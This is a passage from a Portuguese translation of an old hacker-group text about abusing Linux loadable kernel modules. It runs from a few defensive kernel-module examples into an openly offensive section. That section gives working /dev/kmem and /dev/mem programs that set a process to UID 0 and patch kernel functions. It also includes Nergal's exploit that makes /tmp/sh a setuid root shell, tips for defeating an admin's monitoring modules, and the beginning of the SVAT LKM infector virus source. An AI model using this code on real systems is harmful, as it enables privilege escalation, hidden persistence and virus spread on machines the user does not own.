aproximacão. Ele quer limitar o acesso a /proc/ (precisou acesso 
para processar informacão) mudando as permissões de diretorio. 
Assim ele consertou o proc inode. O LKM seguinte fará exatamente o 
mesmo sem um patch de kernel static. Se vc carregar isto um usuário
não será permitido ler o fs de proc, se vc descarrega isto ele será
capaz. Aqui vamos nos: 

/*very bad programming style (perhaps we should use a function for the
  indode retrieving), but it works...*/
#define __KERNEL__
#define MODULE
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

extern void *sys_call_table[];

int (*open)(char *, int, int);
int (*close)(int);


int init_module(void)                /*module setup*/
{ 
 int fd = 0;
 struct file *file;
 struct inode *ino;
 
 /*again the open(...) way*/
 open = sys_call_table[SYS_open]; 
 close = sys_call_table[SYS_close];

 /*we have to supplie some kernel space data for the systemcall*/
 BEGIN_KMEM
 fd = open("/proc", O_RDONLY, 0); 
 END_KMEM
 printk("%d\n", fd);
 file = current->files->fd[fd];

 /*here's the inode for the proc directory*/
 ino= file->f_inode;

 /*modify permissions*/
 ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;

 close(fd);
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 int fd = 0;
 struct file *file;
 struct inode *ino;
 
 BEGIN_KMEM
 fd = open("/proc", O_RDONLY, 0); 
 END_KMEM
 printk("%d\n", fd);
 file = current->files->fd[fd];

 /*here's the inode for the proc directory*/
 ino= file->f_inode;

 /*modify permissions*/
 ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;

 close(fd);
}

Há pouco carregue este modulo e tente um ps, topo ou tudo,
não funcionara. Todo acesso ao diretório /proc eh totalmente
negado. Claro que, como root vc ainda eh permitido a ver todo 
processo e qualquer outra coisa; isto eh justo uma permissão, 
conserte para manter seus usuários informados. [Nota: Isto eh 
prático, implementado p/ modificar inodes 'na mosca' vc deveria
ver muitas possibilidades de como abusar isto.] 

4.4 O Patch securelevel (a ideia de route's da Phrack implementado 
    como LKM)     

O proposito deste patch : Citacao de Route

"Este patch realmente não eh muito um patch. Simplesmente bate o 
securelevel para cima, de 0 para 1. Isto gela o immutable(imutavel) 
e junta pedacos em arquivos, impedindo qualquer um os mudar 
(da interface de chattr normal). Antes de virar isto, vc deveria 
fazer certa chave arquiva immutable, e logfiles juntos. Ainda eh 
possivel abrir o dispositivo de disco cru, porem. Seu hack comum 
e hack de pasta não saberão provavelmente fazer isto ". 

Ok, este aqui eh realmente fácil de implementar como um LKM. 
Nos somos afortunados porque o simbolo responsável pelo 
securelevel eh publico (veja /proc/ksyms) assim nos podemos 
mudar isto facilmente. Eu não apresentarei um exemplo para 
isto, soh importe um 'secure level'  e fixe isto na função 
module's init .
 
4.5 O Patch(remendo=atualizacao) de rawdisk

Eu desenvolvi um modo fácil para evita ferramentas como os
manipate-data de THC. Essas ferramentas são usadas atraves
de hackers para procurar no disco rigido o IP origem deles,
q se dirigem ou nome do DNS. Depois de achar isto eles 
modificam ou removem a entrada do disco rigido. Para fazer 
tudo isso eles precisam ter acesso aos arquivos '/dev/*' 
para abrir o rawdisk. Claro que eles soh podem fazer isto 
depois de roota o sistema. 
Assim o que nos podemos fazer sobre isto? Eu achei que o modo
seguinte ajuda prevenir esses ataques [claro que há mil 
modos para derrotar aquela protecão: (]: 

  * calce seu sistema 
  * instale um LKM que previne acesso direto a (/dev/*) para 
    sua particão, e salve seus 'logs'.

Isto funciona pq o sistema (normalmente) soh tem necessidades
a acesso direto para o rawdisk durante o algumas (raramente) 
operacoes. O LKM há pouco intercepta sys_open(...) e filtra o
dev-file precisado. Eu penso que não eh necessário mostrar como
codificar isto, de uma olhada nas II.4.2). Deste modo vc pode
proteje qlq arquivo '/dev/*'. O problema eh q deste modo ninguem
pode os ter acesso diretamente enquanto o LKM está carregado.
[Nota: há algumas funcões que não funcionao/quebram(crash) o 
sistema, mas uma rede normal, ou mailserver deveriam trabalhar 
com este patch.] 

IV. Algumas Ideias Melhores (para hackers) 

1. Truques para bater admin LKMs 

Esta parte nos dará algumas ajudas para hackear o kernel em 
sistemas onde vc tem um paranoico (bom) admin. Depois de 
explicar todos os modos q um admin pode proteger um sistema,
eh muito dificil achar modos melhores para nos (hackers).
Nos precisamos deixar o nosso LKM durante alguns segundos 
para combater essas protecões dificeis. Imagine um sistema 
onde um admin instalou um grande e bom monitor de LKM que 
confere toda acão no sistema. Issu foi mencionado na parte 
II e III. O primeiro modo para nos libertarmos deste LKM 
eh tentando reiniciar o sistema, talvez o admin não tenha
carregado este LKM em um arquivo init. Assim tente algum 
Ataque DoS ou qualquer coisa q funcione. Se vc ainda não 
conseguiu matar este LKM tente olhar alguns arquivos 
importantes, mas tenha cuidado, alguns arquivos podem ser 
protegidos e monitorados (veja apendice A). Se vc realmente
não conseguiu ver onde o LKM está carregado etc, esqueca 
ou corra o risco de instalar um backdoor que vc não pode
esconder (process/file). Mas se um admin realmente usa um
megaLKM, esqueca cara, ele poderia ser realmente bom e vc
tera muita dificuldade. Para akeles que mesmo assim quer
hackear um sistema desses, leia secão 2. 

2. Consertando o kernel inteiro - ou criando o Hacker-OS 

Nota: Esta secão pode soar um pouco fora do topico, mas 
      no fim eu apresentarei uma ideia agradável (programa
      que foi desenvolvido por Silvio Cesare que vai tb nos 
      ajudar a usar nossos LKMs).Esta secão dará soh um 
      resumo de todo problema do kmem devido ao fato de 
      nos soh precisarmos enfocar na ideia de Silvio 
      Cesare.

Ok, LKM eh algo agradável. Mas isso se o admin está como o 
descrito em 1. Ele faz tudo para nos impedir de usar nossas 
belas tecnicas de LKM (parte II). Ele consertou o proprio 
kernel dele, p/ fazer o sistema dele, realmente seguro. 
Ele usa um kernel sem apoio a LKM nativo. Tão agora eh tempo
para fazer nosso ultimo passo: Runtime Kernel Patching. 
As ideias básicas nesta secão vem de algumas fontes q achei 
(kmemthief etc) e um paper de Silvio Cesare que descreve uma
aproximacão geral p/ modificacao de kernel symbols. Em minha
opinião este tipo de ataque eh algo mais potente, como kernel
hacking.Eu nao sei tudo de kernel de Un*x lah fora, mas esta
aproximacao pode ajudar-lo em muitos sistemas. Esta secão 
descreve o 'Runtime Kernel Patching', somente isso sobre
kernelfile Patching. Todo sistema tem um arquivo que 
representa o kernel, claro. Em sistemas grátis como FreeBSD,
Linux,... eh fácil consertar(patching) um arquivo de kernel, 
mas e quando se trata de um sistema comercial? Eu nunca tentei
isto, mas eu acho que isto eh realmente interessante: Imagine 
uma backdoor que ataca o kernel Patching. Vc soh tem que fazer 
um reboot ou esperar por um (todo sistema as vezes tem que 
reiniciar:). Mas este texto soh se tratará da aproximacão de
runtime. Vc pode dizer que este paper eh chamado de 'Abusando 
de Linux Loadable kernel Modules' e que vc não quer saber como 
consertar o kernel inteiro. Bem esta secão nos ajudará a carregar
LKMs em sistemas que sao muito seguros e q não tem nenhum apoio a
LKM  no kernel. Assim nos aprenderemos algo que nos ajudará com 
nosso LKM abusado hehe. Comecemos com a coisa mais importante,
nos temos que saber se nos queremos fazer RKP(Runtime Kernel 
Patching). O arquivo /dev/kmem, do qual torna isto possivel para 
nos darmos uma olhada (e modificar) toda a memoria virtual(virtual 
memory) de nosso determinado sistema. Nota: Lembre-se que a 
aplicacao de RKP eh util e está na maioria dos casos, se vc 
rooteou um sistema. Somente sistemas inseguros darão aos 
usuários normais acesso a este arquivo.
 
Como eu disse antes, '/dev/kmem' nos dá a chance de ver todo 
byte de memoria de nosso sistema (mais Swap). Isto significa
q nos tb podemos ter acesso a memoria inteira o que nos permite
manipular qualquer item de kernel na memoria (porque o kernel eh
soh algum objectcode carregado em memoria de sistema). Lembre-se
do arquivo '/proc/ksyms' que nos mostra todo endereco de um kernel
sysmbol exportado. Assim nos sabemos onde modificar memoria para 
manipular alguns kernel symbols. Demos uma olhada a um exemplo muito 
básico que eh conhecido ja faz um bom tempo. O seguinte programa 
(user space) leva o endereco task_structure (olhar para kstat em 
/proc/ksyms) e um certo PID. Depois de procurar a estrutura de 
tarefa que representa o PID especificado, modifica todo campo de 
id do usuário para fazer este processo UID=0. Claro que hoje este
programa eh quase inutil, porque a maioria dos sistemas nem mesmo
permite para um usuário normal ler /dev/kmem mas eh uma introducão 
boa em RKP. 

/*Attention : I implemented no error checking!*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*max. number of task structures to iterate*/
#define NR_TASKS	512

/*our task_struct -> I only use the parts we need*/
struct task_struct {
 char a[108];              /*stuff we don't need*/
 int pid;
 char b[168];              /*stuff we don't need*/
 unsigned short uid,euid,suid,fsuid;
 unsigned short gid,egid,sgid,fsgid;
 char c[700];              /*stuff we don't need*/
};


/*here's the original task_structure, to show you what else you can modify
struct task_struct {
 volatile long state;	
 long counter;
 long priority;
 unsigned long signal;
 unsigned long blocked;
 unsigned long flags;
 int errno;
 long debugreg[8]; 
 struct exec_domain *exec_domain;
 struct linux_binfmt *binfmt;
 struct task_struct *next_task, *prev_task;
 struct task_struct *next_run,  *prev_run;
 unsigned long saved_kernel_stack;
 unsigned long kernel_stack_page;
 int exit_code, exit_signal;
 unsigned long personality;
 int dumpable:1;
 int did_exec:1;
 int pid;
 int pgrp;
 int tty_old_pgrp;
 int session;
 int leader;
 int	groups[NGROUPS];
 struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
 struct wait_queue *wait_chldexit;
 unsigned short uid,euid,suid,fsuid;
 unsigned short gid,egid,sgid,fsgid;
 unsigned long timeout, policy, rt_priority;
 unsigned long it_real_value, it_prof_value, it_virt_value;
 unsigned long it_real_incr, it_prof_incr, it_virt_incr;
 struct timer_list real_timer;
 long utime, stime, cutime, cstime, start_time;
 unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
 int swappable:1;
 unsigned long swap_address;
 unsigned long old_maj_flt;	
 unsigned long dec_flt;		
 unsigned long swap_cnt;	
 struct rlimit rlim[RLIM_NLIMITS];
 unsigned short used_math;
 char comm[16];
 int link_count;
 struct tty_struct *tty; 
 struct sem_undo *semundo;
 struct sem_queue *semsleeping;
 struct desc_struct *ldt;
 struct thread_struct tss;
 struct fs_struct *fs;
 struct files_struct *files;
 struct mm_struct *mm;
 struct signal_struct *sig;
 #ifdef __SMP__
  int processor;
  int last_processor;
  int lock_depth;	
 #endif	
};
*/

int main(int argc, char *argv[])
{
 unsigned long task[NR_TASKS];
 /*used for the PID task structure*/
 struct task_struct current;
 int kmemh;
 int i;
 pid_t pid;
 int retval;

 pid = atoi(argv[2]);

 kmemh = open("/dev/kmem", O_RDWR);
	
 /*seek to memory address of the first task structure*/
 lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);
 read(kmemh, task, sizeof(task));
	
 /*iterate till we found our task structure (identified by PID)*/
 for (i = 0; i < NR_TASKS; i++) 
 {
  lseek(kmemh, task[i], SEEK_SET);
  read(kmemh, &current, sizeof(current));
  /*is it our process?*/
  if (current.pid == pid) 
  {
   /*yes, so change the UID fields...*/
   current.uid = current.euid = 0;
   current.gid = current.egid = 0;
   /*write them back to memory*/
   lseek(kmemh, task[i], SEEK_SET);
   write(kmemh, &current, sizeof(current));
   printf("Process was found and task structure was modified\n");
   exit(0);
  }
 }
}

Nao ha nada de especial neste pequeno programa. Nao ha nenhuma 
novidade em procurar um certo padrão em um arquivo e mudar alguns
campos. Há muitos programas lá fora que fazem a mesma coisa. Como
vc pode ver o exemplo acima não lhe ajuda atacar um sistema, eh 
apenas para demonstracão (ou talvez para alguns sistemas pobres que
permitem para os usuários escrever em /dev/kmem, eu não sei). Do 
mesmo modo, vc pode mudar o module structures responsável por 
segurar a informacão de kernel's Module. Deste modo vc tb pode 
esconder um modulo, soh por kmem Patching; eu não apresento uma 
implementacão disto, porque eh basico, igual ao programa acima 
(ok, o procurar eh um pouco mais dificil;)). E sobre modificar
uma kernel structure, há alguns programas que fazem coisas iguais
a essa. Mas e quanto as funcões? Bem, se vc procurar na internet 
vai logo ver q não há tantos programas que fazem coisas assim. Bem, 
curso que conserta uma funcão de kernel (nos faremos coisas mais 
uteis depois) eh um pouco enganador. O melhor modo seria jogar com
a estrutura de sys_call_table que aponte a uma funcão completamente
nova feita por nos. Caso contrário haveria alguns problemas relativos
a tamanho de funcão e assim por diante. O exemplo seguinte eh apenas 
um programa muito simples que faz com q todo systemcall não faca nada.
Eu apenas insiro um RET(0xc3)at no comeco do endereco da funcão que 
eu obtenho de /proc/ksyms. Deste modo a funcão respondera não fazendo
nada imediatamente. 

/*again no error checking*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*just our RET opcode*/
unsigned char asmcode[]={0xc3};

int main(int argc, char *argv[])
{
 unsigned long counter;
 int kmemh;

 /*open device*/
 kmemh = open("/dev/kmem", O_RDWR);
	
 /*seek to memory address where the function starts*/
 lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);

 /*write our patch byte*/
 write(kmemh, &asmcode, 1):

 close(kmemh);
}

Resumamos o que nos sabemos: Nos podemos modificar qlq kernel 
Sysmbol; isto inclui coisas como sys_call_table[] e qlq outra 
funcão ou estrutura. Lembre-se que todo kernel patching soh 
pode ser feito se nos podemos ter acesso a /dev/kmem, mas tb
há modos para proteger este arquivo. De uma olhada em III.5.5.
 
2.1 Como achar Kernel Symbols em /dev/kmem 

Depois desses exemplos básicos vc deve estar se perguntando, 
como modificar qlq kernel sysmbol e como achar kernel symbols
interessantes. No exemplo citado, foi usado /proc/ksyms para 
adiquirir o endereco que nos precisamos p/ modificar um simbolo
(sysmbol). Mas o que temos nos em sistemas com nenhum apoio a 
lkm construido no kernel, não haverá um arquivo /proc/ksyms, 
porque eh soh usado para administracão de modulo (public/ 
available symbols)? E quanto a kernel symbols que não são 
exportados, como nos os modificaremos? Muitas perguntas...
veremos algumas solucões. Silvio Cesare discutiu alguns modos
diferentes de achar kernel symbols (public & non-public ones). 
Ele esbocou que enquanto compilava o kernel um arquivo chamado 
'System.map' eh criado com o mapa de todo Kernel Symbol para um
endereco fixo. Este arquivo soh eh utilizado durante compilacão
para solucionar esses kernel symbols. O funcionamento do sistema
não tem nenhuma necessidade daqueles enderecos de arquivo. Os q 
sao usados para compilacão sao os mesmos q nos podemos usar para 
buscar /dev/kmem. Assim a melhor coisa a fazer seria: 

  * ver System.map para o kernel symbol que vc precisa 
  * leve o endereco que nos achamos 
  * modifique o kernel symbol (estrutura, funcao, ou o q for) 

Coisa bastante fácil. Mas há um problema grande. Todo sistema que
não usa exato nosso kernel terao outros enderecos para os kernel 
symbols deles. E na maioria dos sistemas vc não achará um arquivo 
System.map nos contando todo endereco. Assim o que fazer? Silvio 
Cesare propos usar um 'key search'. Entaun leve, abra seu Kernel,
leia os primeiros 10 bytes (soh um valor fortuito) de um endereco 
de simbolo e os leve como uma chave para procurar o mesmo simbolo 
em outro kernel. Se vc não pode construir uma chave generica para
um certo simbolo, vc pode tentar achar algumas relacões deste 
simbolo com o outro kernel, vc pode criar simbolos com chaves 
genericas . Achar relacões pode ser feito observando os fontes do 
Kernel; deste modo vc tb pode achar o Kernel interessante, os 
simbolos vc poderia modificar (patching). 

2.2 O novo 'insmod' trabalhando sem suporte do Kernel
 
Agora vamos voltar para nosso LKM hacking. Esta secão o dará 
algumas sugestões relativo ao programa de kinsmod de Silvio 
Cesare. Eu esbocarei soh o funcionamento geral. A parte mais
complicada do programa eh o objectcode handling (elf file) e 
seu kernel space mapping. Mas este eh soh um problema de 
header de ELF que não processa nenhum kernel especifico.
Silvio Cesare usou arquivos ELF porque deste modo vc pode 
inserir [normal] LKMs. Tb seria possivel escrever um arquivo
(soh opcodes - > me veja exemplo de RET) e inserindo este 
arquivo seria mais dificil para pode tracar. Para esses 
que realmente querem entender o arquivo ELF que segue eu somei 
o arquivo de Silvio Cesare para este texto (eu tenho tb feito 
isto porque o Silvio Cesare soh quer as fontes/ideias dele sido
distribuido dentro do arquivo inteiro). Agora eh tempo de olhar
as ideias gerais de como inserir LKMs em um sistema sem apoio 
para aquela caracteristica. O primeiro problema para nos que 
queremos inserir codigo (um LKM ou tudo) no kernel eh a 
necessidade por memoria. Nos não podemos levar um endereco 
fortuito e podemos escrever nosso objectcode para '/dev/kmem'. 
Assim onde nos pusermos nosso codigo que não fere de certo modo 
o sistema corrente, não será removido devido a alguma operacão 
de memoria em espaco de kernel. Há um lugar onde nos podemos 
inserir um pouco de codigo, de uma olhada ah figura seguinte 
que mostra a memoria de kernel geral: 

kernel data
...
kmalloc pool 

O 'kmalloc pool' eh usada para distribuicão de memoria em espaco 
de kernel (kmalloc(...)). Nos não podemos por nosso codigo nesta 
'pool' porque nos não podemos estar seguros que o espaco de 
endereco para o que nos escrevemos eh novo. Agora vem a ideia de
Silvio Cesare: o kmalloc agrupa bordas em memoria q eh economizado
em memory_start e memory_end que são exportados pelo Kernel (veja 
/proc/ksyms). O ponto interessante sobre isto eh que o endereco de 
comeco (memory_start) não eh exatamente o kmalloc adress do comeco
de pool, porque este endereco eh alinhado ah proxima borda da página
de memory_start. So há um pouco de memoria que nunca será usada 
(entre memory_start e o real comeco de kmalloc pool). Este eh o 
melhor lugar para insirir nosso codigo. Ok esta não eh a historia 
inteira, vc pode reconhecer que não ajustará um LKM util neste 
pequeno Buffer. Silvio Cesare usou um codigo bootstrap, ele pos
neste pequeno buffer; este codigo carrega o LKM atual. Deste 
modo nos podemos carregar LKMs em sistemas sem apoio por isto. 
Por favor leia o paper de Silvio Cesare para uma discussão 
detalhada em tracar um arquivo de LKM de fato (formato ELF) 
em kernel; isto eh um pouco dificil. 

3. Ultimas palavras 

A Secão 2 era agradável, mas e qaunto a sistemas que não 
permitem acesso ao kmem? Bem, um ultimo modo seria 'kernel
space' de modificacao com ajuda de alguns Kernel Bugs. 
Sempre ha alguns Buffer Overflows mais amarelos e outros 
problemas em Kernel Space. Tb considere modulos conferindo
alguns Bugs. Há pouco de uma olhada nos muitos arquivos fonte
do kernel. Ateh mesmo programas user space podem nos ajudar a
modificar o kernel. Atente, que alguns meses atrás um bug 
relativo a svgalib foi achado. Todo programa que usa svgalib 
adquire um level com permissoes de escrita a /dev/mem./dev/mem 
tb pode ser usado para RKP com o mesmo adress de /dev/kmem. 
Assim olhe a lista seguinte, p/ adquirir algumas ideias de 
como fazer RKP em muitos sistemas seguros: 

  * ache um programa que use svgalib 
  * confira a fonte daquele programa a procura de buffer 
    overflows comuns (não deve ser muito dificil) 
  * escreva uma facanha que comece um programa que usa o 
    /dev/mem aberto a level escrita  
  * manipular a estrutura de tarefa apropriada para fazer 
    seu processo UID 0 
  * crie uma shell root
 
Este esquema generico trabalha muito bem (zgv, gnuplot ou alguns
outros exemplos). Para consertar a estrutura de tarefa, algumas 
pessoas usam o seguinte programa (que usa o open write handle) 
por Nergal: 

/* by Nergal */
#define SEEK_SET 0

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__

#define SIZEOF sizeof(struct task_struct)

int mem_fd;
int mypid;

void
testtask (unsigned int mem_offset)
{
  struct task_struct some_task;
  int uid, pid;
  lseek (mem_fd, mem_offset, SEEK_SET);
  read (mem_fd, &some_task, SIZEOF);
  if (some_task.pid == mypid)   /* is it our task_struct ? */
    {
      some_task.euid = 0;
      some_task.fsuid = 0;      /* needed for chown */
      lseek (mem_fd, mem_offset, SEEK_SET);
      write (mem_fd, &some_task, SIZEOF);
      /* from now on, there is no law beyond do what thou wilt */
      chown ("/tmp/sh", 0, 0);
      chmod ("/tmp/sh", 04755);
      exit (0);
    }
}
#define KSTAT 0x001a8fb8  /*  <-- replace this addr with that of your kstat */
main ()                   /*      by doing strings /proc/ksyms |grep kstat  */
{
  unsigned int i;
  struct task_struct *task[NR_TASKS];
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  mem_fd = 3;                   /* presumed to be opened /dev/mem */
  mypid = getpid ();
  lseek (mem_fd, task_addr, SEEK_SET);
  read (mem_fd, task, NR_TASKS * 4);
  for (i = 0; i < NR_TASKS; i++)
    if (task[i])
      testtask ((unsigned int)(task[i]));

}

Isto eh apenas um exemplo para mostrar para vc que sempre há um 
modo, vc soh tem que achar ele. Em sistemas com stack execution 
patches, vc poderia procurar buffer overflows de montão ou há 
pouco pule para dentro de alguma library functions (system(...)).
Há mil modos... Eu espero que esta ultima secão lhe de algumas
ideias de como proceder. 

V. O próximo futuro: kernel 2.2.x 

1. Principal Diferença para escritores de LKM 

As distros tem um novo Kernel principal Versão 2.2 que traz algumas 
pequenas mudanças na codificação de LKM. Esta parte lhe ajudará a fazer 
a mudança, e esboça as mudanças maiores. 
[Nota: Haverá outro lançamento que se concentra no núcleo novo] eu 
mostrarei a você algumas macros / funções novas que o ajudarão a 
desemvolver LKMs para kernel 2.2. Por um listar exato de todo objeto 
pegado de mudança de uma olhada ao novo Linux/module.h , incle o arquivo 
que era totalmente reescrevido para kernel 2.1.18. 
Primeiro nós olharemos a alguns macros que nos ajudarão a dirigir a 
'System Table' de um modo mais fácil: 

----------------------------------------------------------------------------
|           macro            |              descrição                      |
----------------------------------------------------------------------------
|EXPORT_NO_SYMBOLS;          | este aqui é igual a register_symtab(NULL)   |
|                            | para versões de kernel mais velhas          |
----------------------------------------------------------------------------
|EXPORT_SYMTAB;              | este aqui deve ser definido antes de        | 
|                            | linux/module.h se você quer exportar alguns |
|                            | símbolos                                    |
----------------------------------------------------------------------------
|EXPORT_SYMBOL(name);        | exporte o símbolo nomeado 'name'            |
----------------------------------------------------------------------------   
|EXPORT_SYMBOL_NOVERS(name); | exporte sem informação de versão            |
----------------------------------------------------------------------------

As funcoes de acesso ao user space também foram mudadas um pouco, assim eu os 
listarei aqui (só inclua asm/uaccess.h para os usar): 

----------------------------------------------------------------------------
|função                      |              descrição                      |
----------------------------------------------------------------------------
| int access_ok (int type, unsigned long addr, | esta função confere se o  |
| unsigned long size);                         | processo atual é permitido|  
|                                              | ter acesso a addr         |
----------------------------------------------------------------------------
| unsigned long copy_from_user (unsigned long to, | isto é o 'nova' função |
| unsigned long from, unsigned long len);         | memcpy_tofs            |                                   |
----------------------------------------------------------------------------
| unsigned long copy_to_user (unsigned long to,  | esta é a contraparte de |
| unsigned long from, unsigned long len);        | copy_from_user(...)     |
----------------------------------------------------------------------------
                 
Você não precisa usar access_ok(...) porque a função listou eles sobre
cheque nisto. Há muitas outras diferenças, mas você realmente deveria dar 
uma olhada a linux/module.h por um listar detalhado. Eu quero mencionar 
uma última coisa. Eu tenho escrito muito stuff no kerneldaemon (kerneld). 
kernel 2.2 não usará qualquer kerneld mais. Usa outro modo de implementar 
o request_module(...) na função Kernel Space - é chamado 'kmod'. kmod 
totalmente corre em kernel space (nenhum IPC para qlq user space mais). 
Para programadores de LKM nada muda, você ainda pode usar o 
request_module(...) para carregar módulos. Assim o infectors de LKM 
também podem usar isto em sistemas com kernel 2.2 . Eu cito esta pequena 
secao sobre kernel 2.2, mas no momento eu estou trabalhando em um documento
geral em segurança no kernel 2.2 (especialmente o behaviour de lkm). 
Assim espere por novos lançamentos da THC.Eu até mesmo planejo trabalhar 
em alguns sistemas BSD (FreeBSD, OpenBSD, por exemplo) mas isto ocupa 
alguns meses. 


VI. Ultimas Palavras 

1. A 'historia do LKM' ou 'como fazer um Plug System & Hacking compativel'

Você pode fikar puto com o modo com q LKMs sao inseguros e por que eles 
são usados de tal modo. Bem, LKMs são projetados para especialmente 
fazer com q a vida dos usuarios seja mais fácil. Linux luta contra a Microsoft, assim 
eles necessitam de alguma maneira fazer do unix velho algo um pouco mais 
atraente e mais fácil. Eles implementam coisas como KDE e outras coisas 
agradáveis. Por exemplo, Kerneld foi desenvolvido para fazer module handling 
mais fácil. Mas lembre-se, quanto mais fácil e mais automatizado um sistema
é, mais problemas relativo a segurança surgem. É impossível um sistema 
utilizado por todo o mundo ser bastante seguro. Módulos são um grande 
exemplo para isto. Microsoft nos mostra outros exemplos: pensando em ActiveX, 
que é (talvez) uma boa idéia , com o desígnio de uma seguranca cruel por manter tudo 
taun simples. Portanto queridos desenvolvedores de Linux: Tenha cuidado, e não cometam
o mesmo erro q a Microsoft cometeu, não crie um plug & hack OS compativel.
SEGURANCA ACIMA DE TUDO!
Este texto também deveria deixar claro que, o kernel de qualquer sistema deve 
ser protegido da melhor maneira possivel. Isso deve ser impossível para 
atacantes q modificam o artigo mais importante de seu sistema inteiro. 
Eu deixo esta tarefa para todos desenvolvedores de sistemas ai fora :). 


2. Links para outros Recursos 

Aqui estao alguns Links interessantes sobre LKMs (não só relacionado 
a hack & securiy): 

*** na Internet ***

http://www.linuxhq.com => tudo sobre Linux + kernel agradável 
http://www.linuxlinks.com => muitos links sobre Linux 
http://www.linux.org => simplesmente fazendo 'propaganda' da página do Linux 
http://www.lwn.net => notícias semanais sobre Linux ; muito interessante também 
                      há secoes de kernel / security tambem
http://www.phrack.com => leia os artigos 50 & 52 para informaçoes interessante 
                         sobre modulos
http://www.rootshell.com => eles têm alguns LKMs 
http://www.geek-girl.com/bugtraq => agradável / lá tinham algumas discussões sobre
                                    segurança de LKM 
http://hispahack.ccc.de => HISPAHACK homepage 
http://r3wt.base.org => THC homepage (artigos, revistas e muitas ferramentas) 
http://www.antisearch.com => um dos melhores sites sobre segurança / hacking de 
                             máquinas, procuras relacionadas
http://www.kernel.org => baixe o kernel e estude-o! 

*** em Livros ***

=> Linux-Kernel-Programming (Addison Wesley) 
Um bom livro mesmo. Eu li a versão alemã mas acho q também há 
uma versão inglesa. 

=> Linux Device Drivers (O'Reilly)
Um pouco fora do tópico, mas também muito 
interessante. O enfoque é mais em escrever para LKMs como 
device drivers.

Reconhecimentos 

Agradecimento por fontes e idéias para: 

plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, 
Aleph1, Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio 
Cesare, Daemon9, Nergal, Van Hauser (especialmente por me mostrar 
alguns Bugs) e para todos esses indivíduos sem nome que nos proporcionam as 
idéias deles (há tantos)! :)

Greets

grupos: THC, deep, ech0, ADM, =phake = 

pessoas: 

Van Hauser - obrigado por me dar a chance de aprender 
mindmaniac - obrigado por me introduzir ao 'primeiro contato' 

música de fundo se agrupa (me ajudando a me concentrar em escrever 
:): Neuroactive, Image Transmission, Panic on the Titanic, Dracul 

-----------------------------------------------------------------------

A - Apêndice 

Aqui vc vai encontrar alguns codigos. Se o autor do LKM publicado fizer 
alguma nota/texto que seja de interesse, ele entrara aqui tambem.

-----------------------------------------------------------------------

LKM Infector

Nome: moduleinfect.c
Autor: StealthfOrk/SVAT
Descricao: Este eh o primeiro infector de LKM publicado que foi discutido
no II.8. Issu nao eh uma rotina de destruicao, eh apenas um infector,
entao eh experimental, inofensivo.
Link: www.rootshell.com

/* 		SVAT - Special Virii And Trojans - present:
 *
 * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
 *
 * 0kay guys, here we go...
 * As i told you with VLP I (we try to write an fast-infector)
 * here's the result:
 * a full, non-overwriting module infector that catches
 * lkm's due to create_module() and infects them (max. 7)
 * if someone calls delete_module() [even on autoclean].
 * Linux is not longer a virii-secure system :(
 * and BSD follows next week ...
 * Since it is not needed 2 get root (by the module) you should pay
 * attention on liane.
 * Note the asm code in function init_module().
 * U should assemble your /usr/src/.../module.c with -S and your CFLAG
 * from your Makefile and look for the returnvalue from the first call
 * of find_module() in sys_init_module(). look where its stored (%ebp for me)
 * and change it in __asm__ init_module()! (but may it is not needed)
 *
 * For education only! 
 * Run it only with permisson of the owner of the system you are logged on!!! 
 * 
 * 		!!! YOU USE THIS AT YOUR OWN RISK !!!
 *
 * I'm not responsible for any damage you may get due to playing around with this. 
 *
 * okay guys, you have to find out some steps without my help:
 *
 * 	1. $ cc -c -O2 module.c
 *	2. get length of module.o and patch the #define MODLEN in module.c
 *	3. $ ???
 *   	4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o 
 *	5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
 *	>AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< 
 *	6. $ insmod ???
 * 
 * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
 * kernel 2.0.33. It works.
 *
 * 	greets  (in no order...)
 * 	<><><><><><><><><><><><>
 *
 * 	NetW0rker	- tkx for da sources
 *	Serialkiller	- gib mir mal deine eMail-addy
 *	hyperSlash	- 1st SVAT member, he ?
 *	naleZ 		- hehehe
 *	MadMan		- NetW0rker wanted me to greet u !?
 *	KilJaeden	- TurboDebugger and SoftIce are a good choice !
 *
 *	and all de otherz
 *
 *	Stealthf0rk/SVAT <stealth@cyberspace.org>
 */

#define __KERNEL__
#define MODULE
#define MODLEN 7104
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}


/* i'm not sure we need all of 'em ...*/

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
   #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
   #define DPRINTK(format, args...)
#endif

/* where the sys_calls are */

